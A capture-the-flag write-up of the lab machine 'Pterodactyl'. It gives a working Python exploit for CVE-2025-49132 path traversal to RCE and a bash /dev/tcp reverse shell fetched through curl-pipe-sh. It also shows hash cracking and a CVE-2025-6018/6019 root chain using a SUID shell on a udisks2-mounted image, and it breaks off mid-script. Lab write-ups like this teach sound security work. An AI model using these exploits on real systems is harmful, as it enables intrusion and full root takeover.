Introduction #
Pterodactyl started with a Minecraft server website and a panel subdomain with a Pterodactyl instance. I abused an arbitrary code execution vulnerability (CVE-2025-49132) to read sensitive files and ultimately get qa reverse shell. Once on the host I used the previously gathered credetials to enumerate mysql database and get credentials for next user, these worked for SSH as well. For root I used combination of CVE-2025-6018 and CVE-2025-6019. Exploiting this chain was a two-step process: first, I used the PAM vulnerability to trick the system into thinking I am a “physically present” user (granting allow_active status). Then, I used that status to trick the udisks2 service into mounting a malicious filesystem that gave me a root shell.
nmap #
nmap finds four open TCP ports, SSH (22), HTTP/S (80/443) and HTTP-proxy (8080):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.1.191
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOouXDOkVrDkob+tyXJOHu3twWDqor3xlKgyYmLIrPasaNjhBW/xkGT2otP1zmnkTUyGfzEWZGkZB2Jkaivmjgc=
| 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTXNuX5oJaGQJfvbga+jM+14w5ndyb0DN0jWJHQCDd9
80/tcp open http syn-ack ttl 63 nginx 1.21.5
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
443/tcp closed https reset ttl 63
8080/tcp closed http-proxy reset ttl 63
Add pterodactyl.htb to /etc/hosts
Web - TCP 80 #
The website is mostly empty Minecraft server page
Subdomain enum #
As I have the domain name, I tried to find any available subdomains of pterodactyl.htb:
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://pterodactyl.htb/ -H 'Host: FUZZ.pterodactyl.htb' -fs 145
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://pterodactyl.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.pterodactyl.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 145
________________________________________________
panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 408ms]
:: Progress: [220561/220561] :: Job [1/1] :: 1136 req/sec :: Duration: [0:03:38] :: Errors: 0 ::
Found panel.pterodactyl.htb, add it to /etc/hosts and check it:
IMG02
Powered by pterodactyl.io
CVE-2025-49132 #
Googling for pterodactyl cve points me towards CVE-2025-49132 vulnerability promising arbitrary code execution - Advisory.
Since the Pterodactyl is open source I can check what changes were made between the versions - HERE
IMG - https://github.com/pterodactyl/panel/compare/v1.11.10...v1.11.11
The original code’s explode(' ', ...) allowed to inject path traversal sequences. The new code fixes this by treating locale and namespace as single, validated strings and so preventing the construction of arbitrary file paths.
Now, how to abuse the original:
#!/usr/bin/env python3
import os
target = "panel.pterodactyl.htb"
command = "id"
path = "/usr/share/php/PEAR" # default
payload = command.replace(' ', '\\$\\\\{IFS\\\\}')
# This is here to eliminate potential issues with spaces and their parsing
# The string (command) is passed through a web server, which might URL-decode it.
# The resulting string is then evaluated by a shell in a way that might not preserve spaces if they are not correctly quoted or escaped.
# Internal Field Separator (IFS) is a shell variable that defines the character used for word splitting when the shell reads a string.
#
# Ultimately, \\$\\\\{IFS\\\\} resolves to ${IFS} when the shell on the target server interprets the string.
# write payload
os.system(
f"curl \"http://{target}/locales/locale.json?+config-create+/&locale=../../../../../{path}&namespace=pearcmd&/<?=system('{payload}')?>+/tmp/payload.php\"
)
# trigger
os.system(
f"curl \"http://{target}/locales/locale.json?locale=../../../../../tmp&namespace=payload\"
)
PoC #
The script attempts to:
- Write a PHP payload: Inject PHP code
(<?=system('{payload}')?>)into a file on the target server. - Trigger the payload: Make a request to execute it by the server.
The PHP service has a path traversal vulnerability due to:
$locales = explode(' ', $request->input('locale') ?? '');$namespaces = explode(' ', $request->input('namespace') ?? '');
The subsequent loop using these exploded values in $this->loader->load($locale, str_replace('.', '/', $namespace))
This allows me to control parts of the file path used by loader->load().
Phase 1: Write Payload
curl "http://example.com/locales/locale.json?+config-create+/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>+/tmp/payload.php"
- locale parameter:
../../../../../usr/share/php/PEAR - namespace parameter:
pearcmd&/<?=system('id')?>+/tmp/payload.php
This happens inside the vulnerable code:
public function __invoke(Request $request): JsonResponse
{
$locales = explode(' ', $request->input('locale') ?? '');
// $locales will be: ['../../../../../usr/share/php/PEAR']
$namespaces = explode(' ', $request->input('namespace') ?? '');
// $namespaces will be: ['pearcmd', '/tmp/payload.php', '<?=system(\'id\') ?\>']
$response = [];
foreach ($locales as $locale) { // Loop 1: locale = '../../../../../usr/share/php/PEAR'
$response[$locale] = [];
foreach ($namespaces as $namespace) { // Loop 2
// iteration 1: namespace = 'pearcmd'
// $this->loader->load('../../../../../usr/share/php/PEAR', str_replace('.', '/', 'pearcmd'))
// This will attempt to load a legitimate PEAR config.
// iteration 2: namespace = '/<?=system(\'id\')?\>'
// $this->loader->load('../../../../../usr/share/php/PEAR', str_replace('.', '/', '/<?=system(\'id\')?\>'))
// This is where the magic happens. The critical part is the `+config-create+/` prefix
// in the Python script's `curl` request. That sets up for writing content to arbitrary files
// when `+config-create+/` is present and the `locale` and `namespace` parameters are manipulated.
//
// The `locale` part (`../../../../../usr/share/php/PEAR`) sets the base directory.
// The `namespace` part (`/<?=system('id')?\>`) is the content to be written.
//
// The `str_replace('.', '/', $namespace)` doesn't hurt here, as there are no dots.
//
// Crucially, because of the vulnerability, this second iteration, when combined
// with the `+config-create+/` parameter, will cause the server to:
// 1. Resolve the path: It takes `/usr/share/php/PEAR` (from `locale`) and combines it
// with some internal logic to determine the output file.
// 2. Write the content: `<?=system('id')?\>` is written to a file. The `+config-create+/` in the URL
// is key here; it tells the vulnerable component to perform a file creation/write operation.
// The exact path it writes to is further controlled by parts of the namespace.
// iteration 3: namespace = '/tmp/payload.php'
// This third part of the namespace parameter, `/tmp/payload.php`, is what
// the vulnerability uses to determine the *filename* where the
// content from the previous part will be written.
//
// So, the PHP code `<?=system('id')?\>` is written to `/tmp/payload.php` on the server.
// This is because the vulnerability allows me to specify the full path (relative to the
// web root or some base directory) where the payload will be stored.
}
}
}
On the target server, a file named /tmp/payload.php will be created containing the PHP code: <?php system('id'); ?>.
Phase 2: Trigger Payload
curl "http://example.com/locales/locale.json?locale=../../../../../tmp&namespace=payload"
- locale parameter:
../../../../../tmp - namespace parameter:
payload
This happens inside the vulnerable code:
public function __invoke(Request $request): JsonResponse
{
$locales = explode(' ', $request->input('locale') ?? '');
// $locales will be: ['../../../../../tmp']
$namespaces = explode(' ', $request->input('namespace') ?? '');
// $namespaces will be: ['payload']
$response = [];
foreach ($locales as $locale) { // Loop 1: locale = '../../../../../tmp'
$response[$locale] = [];
foreach ($namespaces as $namespace) { // Loop 2
// iteration 1: namespace = 'payload'
// $this->loader->load('../../../../../tmp', str_replace('.', '/', 'payload'))
// This will cause the loader to attempt to load a file.
// The path traversal in `locale` (`../../../../../tmp`) makes it look into `/tmp`.
// The `namespace` (`payload`) makes it look for `payload.php`
//
// So, it will attempt to load `/tmp/payload.php`.
// Since `/tmp/payload.php` now contains `<?=system('id')?\>`, and if the `loader->load()`
// mechanism involves `include` or `require`, then the `system('id')` command will be executed.
}
}
}
The loader->load() method, by attempting to load /tmp/payload.php, will trigger the execution of the PHP code within it.
The system('id') command will run on the target server.
Overall Result: Remote Code Execution
In the same way I can read files on the system:
Check What PHP Files Exist #
I can look for existing Pterodactyl application files:
└─$ curl "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../var/www/pterodactyl/config&namespace=app"
{"..\/..\/..\/..\/..\/var\/www\/pterodactyl\/config":{"app":{"version":"1.11.10","name":"Pterodactyl","env":"production","debug":"","url":"http:\/\/panel.pterodactyl.htb","timezone":"UTC","locale":"en","fallback_locale":"en","key":"base64{{UaThTPQnUjrrK61o}}+Luk7P9o4hM+gl4UiMJqcbTSThY=","cipher":"AES-256-CBC","exceptions":{"report_all":""},"maintenance":{"driver":"file"},"providers":["Illuminate\\Auth\\AuthServiceProvider","Illuminate\\Broadcasting\\BroadcastServiceProvider","Illuminate\\Bus\\BusServiceProvider","Illuminate\\Cache\\CacheServiceProvider","Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider","Illuminate\\Cookie\\CookieServiceProvider","Illuminate\\Database\\DatabaseServiceProvider","Illuminate\\Encryption\\EncryptionServiceProvider","Illuminate\\Filesystem\\FilesystemServiceProvider","Illuminate\\Foundation\\Providers\\FoundationServiceProvider","Illuminate\\Hashing\\HashServiceProvider","Illuminate\\Mail\\MailServiceProvider","Illuminate\\Notifications\\NotificationServiceProvider","Illuminate\\Pagination\\PaginationServiceProvider","Illuminate\\Pipeline\\PipelineServiceProvider","Illuminate\\Queue\\QueueServiceProvider","Illuminate\\Redis\\RedisServiceProvider","Illuminate\\Auth\\Passwords\\PasswordResetServiceProvider","Illuminate\\Session\\SessionServiceProvider","Illuminate\\Translation\\TranslationServiceProvider","Illuminate\\Validation\\ValidationServiceProvider","Illuminate\\View\\ViewServiceProvider","Pterodactyl\\Providers\\ActivityLogServiceProvider","Pterodactyl\\Providers\\AppServiceProvider","Pterodactyl\\Providers\\AuthServiceProvider","Pterodactyl\\Providers\\BackupsServiceProvider","Pterodactyl\\Providers\\BladeServiceProvider","Pterodactyl\\Providers\\EventServiceProvider","Pterodactyl\\Providers\\HashidsServiceProvider","Pterodactyl\\Providers\\RouteServiceProvider","Pterodactyl\\Providers\\RepositoryServiceProvider","Pterodactyl\\Providers\\ViewComposerServiceProvider","Prologue\\Alerts\\AlertsServiceProvider"],"aliases":{"App":"Illuminate\\Support\\Facades\\App","Arr":"Illuminate\\Support\\Arr","Artisan":"Illuminate\\Support\\Facades\\Artisan","Auth":"Illuminate\\Support\\Facades\\Auth","Blade":"Illuminate\\Support\\Facades\\Blade","Broadcast":"Illuminate\\Support\\Facades\\Broadcast","Bus":"Illuminate\\Support\\Facades\\Bus","Cache":"Illuminate\\Support\\Facades\\Cache","Config":"Illuminate\\Support\\Facades\\Config","Cookie":"Illuminate\\Support\\Facades\\Cookie","Crypt":"Illuminate\\Support\\Facades\\Crypt","Date":"Illuminate\\Support\\Facades\\Date","DB":"Illuminate\\Support\\Facades\\DB","Eloquent":"Illuminate\\Database\\Eloquent\\Model","Event":"Illuminate\\Support\\Facades\\Event","File":"Illuminate\\Support\\Facades\\File","Gate":"Illuminate\\Support\\Facades\\Gate","Hash":"Illuminate\\Support\\Facades\\Hash","Http":"Illuminate\\Support\\Facades\\Http","Js":"Illuminate\\Support\\Js","Lang":"Illuminate\\Support\\Facades\\Lang","Log":"Illuminate\\Support\\Facades\\Log","Mail":"Illuminate\\Support\\Facades\\Mail","Notification":"Illuminate\\Support\\Facades\\Notification","Number":"Illuminate\\Support\\Number","Password":"Illuminate\\Support\\Facades\\Password","Process":"Illuminate\\Support\\Facades\\Process","Queue":"Illuminate\\Support\\Facades\\Queue","RateLimiter":"Illuminate\\Support\\Facades\\RateLimiter","Redirect":"Illuminate\\Support\\Facades\\Redirect","Request":"Illuminate\\Support\\Facades\\Request","Response":"Illuminate\\Support\\Facades\\Response","Route":"Illuminate\\Support\\Facades\\Route","Schema":"Illuminate\\Support\\Facades\\Schema","Session":"Illuminate\\Support\\Facades\\Session","Storage":"Illuminate\\Support\\Facades\\Storage","Str":"Illuminate\\Support\\Str","URL":"Illuminate\\Support\\Facades\\URL","Validator":"Illuminate\\Support\\Facades\\Validator","View":"Illuminate\\Support\\Facades\\View","Vite":"Illuminate\\Support\\Facades\\Vite","Alert":"Prologue\\Alerts\\Facades\\Alert","Carbon":"Carbon\\Carbon","JavaScript":"Laracasts\\Utilities\\JavaScript\\JavaScriptFacade","Theme":"Pterodactyl\\Extensions\\Facades\\Theme","Activity":"Pterodactyl\\Facades\\Activity","LogBatch":"Pterodactyl\\Facades\\LogBatch","LogTarget":"Pterodactyl\\Facades\\LogTarget"}}}}
In there there is a key: "key":"base64{{UaThTPQnUjrrK61o}}+Luk7P9o4hM+gl4UiMJqcbTSThY=" and version: "version":"1.11.10" confirming the vulnerability should work as planned.
Read Sensitive Files #
Since I can read config files, I can try to extract useful information:
# Read .env file
└─$ curl "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../var/www/pterodactyl&namespace=.env"
{"..\/..\/..\/..\/..\/var\/www\/pterodactyl":{".env":[]}}
Try database config:
# Try database config
└─$ curl "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../var/www/pterodactyl/config&namespace=database"
{"..\/..\/..\/..\/..\/var\/www\/pterodactyl\/config":{"database":{"default":"mysql","connections":{"mysql":{"driver":"mysql","url":"","host":"127.0.0.1","port":"3306","database":"panel","username":"pterodactyl","password":"PteraPanel","unix_socket":"","charset":"utf8mb4","collation":"utf8mb4_unicode_ci","prefix":"","prefix_indexes":"1","strict":"","timezone":"+00{{00}}","sslmode":"prefer","options":{"1014":"1"}}},"migrations":"migrations","redis":{"client":"predis","options":{"cluster":"redis","prefix":"pterodactyl_database_"},"default":{"scheme":"tcp","path":"\/run\/redis\/redis.sock","host":"127.0.0.1","username":"","password":"","port":"6379","database":"0","context":[]},"sessions":{"scheme":"tcp","path":"\/run\/redis\/redis.sock","host":"127.0.0.1","username":"","password":"","port":"6379","database":"1","context":[]}}}}}
Great! I got database credentials:
- Username:
pterodactyl - Password:
PteraPanel - Database:
panel
These do not work for SSH.
Shell as wwwrun #
To confirm my PoC works I first try it with command of id:
└─$ python3 pterodactyl_CVE-2025-49132.py
CONFIGURATION (CHANNEL PEAR.PHP.NET):
=====================================
Auto-discover new Channels auto_discover <not set>
Default Channel default_channel pear.php.net
HTTP Proxy Server Address http_proxy <not set>
PEAR server [DEPRECATED] master_server <not set>
Default Channel Mirror preferred_mirror <not set>
Remote Configuration File remote_config <not set>
PEAR executables directory bin_dir /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear
PEAR documentation directory doc_dir /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/docs
PHP extension directory ext_dir /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/ext
PEAR directory php_dir /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/php
PEAR Installer cache directory cache_dir /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/cache
PEAR configuration file cfg_dir /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/cfg
directory
PEAR data directory data_dir /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/data
PEAR Installer download download_dir /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/download
directory
Systems manpage files man_dir /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/man
directory
PEAR metadata directory metadata_dir <not set>
PHP CLI/CGI binary php_bin <not set>
php.ini location php_ini <not set>
--program-prefix passed to php_prefix <not set>
PHP's ./configure
--program-suffix passed to php_suffix <not set>
PHP's ./configure
PEAR Installer temp directory temp_dir /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/temp
PEAR test directory test_dir /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/tests
PEAR www files directory www_dir /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/www
Cache TimeToLive cache_ttl <not set>
Preferred Package State preferred_state <not set>
Unix file mask umask <not set>
Debug Log Level verbose <not set>
PEAR password (for password <not set>
maintainers)
Signature Handling Program sig_bin <not set>
Signature Key Directory sig_keydir <not set>
Signature Key Id sig_keyid <not set>
Package Signature Type sig_type <not set>
PEAR username (for username <not set>
maintainers)
User Configuration File Filename /tmp/payload.php
System Configuration File Filename #no#system#config#
Successfully created default configuration file "/tmp/payload.php"
<!DOCTYPE html>
<html lang="en">
<SNIP>
</html>
#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:88:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/php";s:8:"data_dir";s:89:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/data";s:7:"www_dir";s:88:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/www";s:7:"cfg_dir";s:88:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/cfg";s:7:"ext_dir";s:88:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/ext";s:7:"doc_dir";s:89:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/docs";s:8:"test_dir";s:90:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/tests";s:9:"cache_dir";s:90:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/cache";s:12:"download_dir";s:93:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/download";s:8:"temp_dir";s:89:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/temp";s:7:"bin_dir";s:84:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear";s:7:"man_dir";s:88:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/man";}<!DOCTYPE html>
<html lang="en">
<SNIP>
</html>
It does look like it is working. Now I can try it with a reverse shell.
First, I create one and host it on http server:
└─$ nano payload.sh
└─$ cat payload.sh
bash -c 'sh -i >& /dev/tcp/10.10.14.179/4444 0>&1'
└─$ python -m http.server 8082
Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
Then, execute:
Set command to curl http://10.10.14.179:8082/payload.sh | sh
└─$ python3 pterodactyl_CVE-2025-49132.py
As explained above, this will write <?=system('curl http://10.10.14.179:8082/db.sh | sh')?> into the /tmp/payload.php on the target server and execute it.
I get a hit on the http server:
└─$ python -m http.server 8082
Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
10.129.1.191 - - [12/Feb/2026 05:53:03] "GET /payload.sh HTTP/1.1" 200 -
and catch a shell on the listener:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.179] from (UNKNOWN) [10.129.1.191] 34684
sh: cannot set terminal process group (1212): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ id
id
uid=474(wwwrun) gid=477(www) groups=477(www)
Upgrade the shell:
sh-4.4$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
wwwrun@pterodactyl:/var/www/pterodactyl/public>
And move along.
Shell as phileasfogg3 #
Database #
Now I can use the credentials found earlier to connect to mysql database:
wwwrun@pterodactyl:/var/www/pterodactyl/public> mysql -u pterodactyl -p'PteraPanel' -h 127.0.0.1 -D panel
<-u pterodactyl -p'PteraPanel' -h 127.0.0.1 -D panel
mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 3011
Server version: 11.8.3-MariaDB MariaDB package
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [panel]>
Check tables and get user data:
MariaDB [panel]> show tables;
show tables;
+-----------------------+
| Tables_in_panel |
+-----------------------+
| activity_log_subjects |
| activity_logs |
| allocations |
| api_keys |
| api_logs |
| audit_logs |
| backups |
| database_hosts |
| databases |
| egg_mount |
| egg_variables |
| eggs |
| failed_jobs |
| jobs |
| locations |
| migrations |
| mount_node |
| mount_server |
| mounts |
| nests |
| nodes |
| notifications |
| password_resets |
| recovery_tokens |
| schedules |
| server_transfers |
| server_variables |
| servers |
| sessions |
| settings |
| subusers |
| tasks |
| tasks_log |
| user_ssh_keys |
| users |
+-----------------------+
35 rows in set (0.001 sec)
MariaDB [panel]> select username, password from users;
select username, password from users;
+--------------+--------------------------------------------------------------+
| username | password |
+--------------+--------------------------------------------------------------+
| headmonitor | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
+--------------+--------------------------------------------------------------+
2 rows in set (0.001 sec)
MariaDB [panel]>
The user_ssh_keys was unfortunately empty:
MariaDB [panel]> select * from user_ssh_keys;
select * from user_ssh_keys;
Empty set (0.000 sec)
Crack passwords #
Identify the hashes:
└─$ hashid hashes.hash -m
--File 'hashes.hash'--
Analyzing '$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2'
[+] Blowfish(OpenBSD) [Hashcat Mode: 3200]
[+] Woltlab Burning Board 4.x
[+] bcrypt [Hashcat Mode: 3200]
Analyzing '$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi'
[+] Blowfish(OpenBSD) [Hashcat Mode: 3200]
[+] Woltlab Burning Board 4.x
[+] bcrypt [Hashcat Mode: 3200]
--End of file 'hashes.hash'--
and crack them:
└─$ hashcat -m 3200 hashes.hash ~/Tools/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
Dictionary cache hit:
* Filename..: /home/kali/Tools/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
<SNIP>
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx
I managed to crack one in reasonable time: phileasfogg3:!QAZ2wsx, the other took way too long.
User flag #
With these credentials I could SSH in and grab the user flag:
└─$ ssh phileasfogg3@10.129.1.191
(phileasfogg3@10.129.1.191) Password:
Have a lot of fun...
Last login: Thu Feb 12 13:52:37 2026 from 10.10.14.179
phileasfogg3@pterodactyl:~> ls
bin user.txt
phileasfogg3@pterodactyl:~> cat user.txt
c5d9a014565acc8ec4e6706dd432c20b
Root #
After running sudo -l
phileasfogg3@pterodactyl:~> sudo -l
[sudo] password for phileasfogg3:
Matching Defaults entries for phileasfogg3 on pterodactyl:
always_set_home, env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES
LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE", !insults,
secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw
User phileasfogg3 may run the following commands on pterodactyl:
(ALL) ALL
I thought that was it for the box, but alas targetpw.
This means sudo is configured to ask for the target user’s password (root’s password).
So even though I have (ALL) ALL, I still need to know root’s password to actually use sudo.
CVE chain #
And here I got stuck for a loooong time.
Eventualy, I found the next step.
It is a combination of two CVEs as described HERE
CVE-2025-6018 #
CVE-2025-6019 #
First, I use the PAM vulnerability to trick the system into thinking I am a “physically present” user (granting you allow_active status). Then, I use that status to trick the udisks2 service into mounting a malicious filesystem that gives me a root shell.
Exploit #
Step 1: Spoofing the Physical Session (CVE-2025-6018)
The goal here was to set environment variables that pam_systemd uses to classify the session. By default, SSH sessions are “remote” and have low privileges. I want to be “local”.
- Create the environment file -
.pam_environemt:
phileasfogg3@pterodactyl:~> cat .pam_environment
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
- Trigger and Verify:
Log out of the SSH session and log back in.
When I log in, PAM should reads the environment file.
I can verify if I am now considered an “active” local session:
phileasfogg3@pterodactyl:~> loginctl show-session $XDG_SESSION_ID | grep -E "Remote|Active|Seat"
Seat=seat0
Remote=yes
RemoteHost=10.10.14.179
Active=yes
It says Active=yes and my seat is seat0, I have successfully escalated to “physical user”.
Step 2: The Root Escalation (CVE-2025-6019)
Now that Polkit thinks I am sitting at the computer, I have permission to ask udisks2 to manage drives.
I can create a fake “drive” (a loopback image) containing a shell with the SUID bit set.
- Create filesystem image:
└─$ dd if=/dev/zero of=exploit.img bs=1M count=300
300+0 records in
300+0 records out
314572800 bytes (315 MB, 300 MiB) copied, 0.402673 s, 781 MB/s
- Put a SUID shell inside:
First, I need to mount it locally to set the permissions.
└─$ mkfs.xfs exploit.img
meta-data=exploit.img isize=512 agcount=4, agsize=19200 blks
= sectsz=512 attr=2, projid32bit=1
= crc=1 finobt=1, sparse=1, rmapbt=1
= reflink=1 bigtime=1 inobtcount=1 nrext64=1
= exchange=0 metadir=0
data = bsize=4096 blocks=76800, imaxpct=25
= sunit=0 swidth=0 blks
naming =version 2 bsize=4096 ascii-ci=0, ftype=1, parent=0
log =internal log bsize=4096 blocks=16384, version=2
= sectsz=512 sunit=0 blks, lazy-count=1
realtime =none extsz=4096 blocks=0, rtextents=0
= rgcount=0 rgsize=0 extents
= zoned=0 start=0 reserved=0
└─$ mkdir mnt_exploit
└─$ sudo mount -o loop exploit.img ./mnt_exploit
└─$ sudo cp /bin/bash ./mnt_exploit/sh_root
└─$ sudo chown root:root ./mnt_exploit/sh_root
└─$ sudo chmod 4755 ./mnt_exploit/sh_root
After I set it all up I can umount and clean up:
└─$ sudo umount ./mnt_exploit
└─$ rmdir mnt_exploit
And finally I can move it to the host:
└─$ scp exploit.img phileasfogg3@10.129.1.191:~/
(phileasfogg3@10.129.1.191) Password:
exploit.img
- The “Resize”:
The vulnerability in udisks2/libblockdev is that when I ask it to resize an XFS partition, it mounts the partition temporarily to perform the action.
Crucially, it forgets to add the nosuid flag during this specific operation.
phileasfogg3@pterodactyl:~> ls -la
total 308220
<SNIP>
-rw-r--r-- 1 phileasfogg3 users 314572800 Feb 12 15:17 exploit.img
<SNIP>
phileasfogg3@pterodactyl:~> udisksctl loop-setup -f ~/exploit.img
Mapped file /home/phileasfogg3/exploit.img as /dev/loop0.
phileasfogg3@pterodactyl:~> gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
()
The () output from gdbus is the “success” signal. The method executed!
However, since it didn’t appear in the usual places, it means the Resize operation likely mounted the image, performed a quick check, and unmounted it immediately.
This is a race condition. I need to execute the shell in the brief window while udisks2 has the filesystem mounted.
- The race:
I will use a small script to constantly look for the mount point while triggering the command in the background.
# 1. Start a background loop to catch the mount
while true; do
# Search for the sh_root binary in /tmp
MOUNT_PATH=$(find /tmp/ -name sh_root 2>/dev/null | head -n 1)
if [ -n "$MOUNT_PATH" ]; then
echo "[+] Found SUID shell at: $MOUNT_PATH"
echo "[+] Attempting execution..."
# Execute the shell with -p to keep root
$MOUNT_PATH -p
break
fi
done &
# 2. Trigger the vulnerable Resize in the foreground
echo "[*] Triggering Resize... look for the shell above."
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
# 3. Clean up the background job if it didn't finish
kill $! 2>/dev/null
- Grab the Root Shell:
While the resize is happening, the script should catch the root shell:
phileasfogg3@pterodactyl:~> (while true; do
> # Search for the sh_root binary in /tmp
> MOUNT_PATH=$(find /tmp/ -name sh_root 2>/dev/null | head -n 1)
>
> if [ -n "$MOUNT_PATH" ]; then
> echo ""
> echo "[+] Found SUID shell at: $MOUNT_PATH"
> echo "[+] Attempting execution..."
> # Execute the shell with -p to keep root
> $MOUNT_PATH -p
> break
> fi
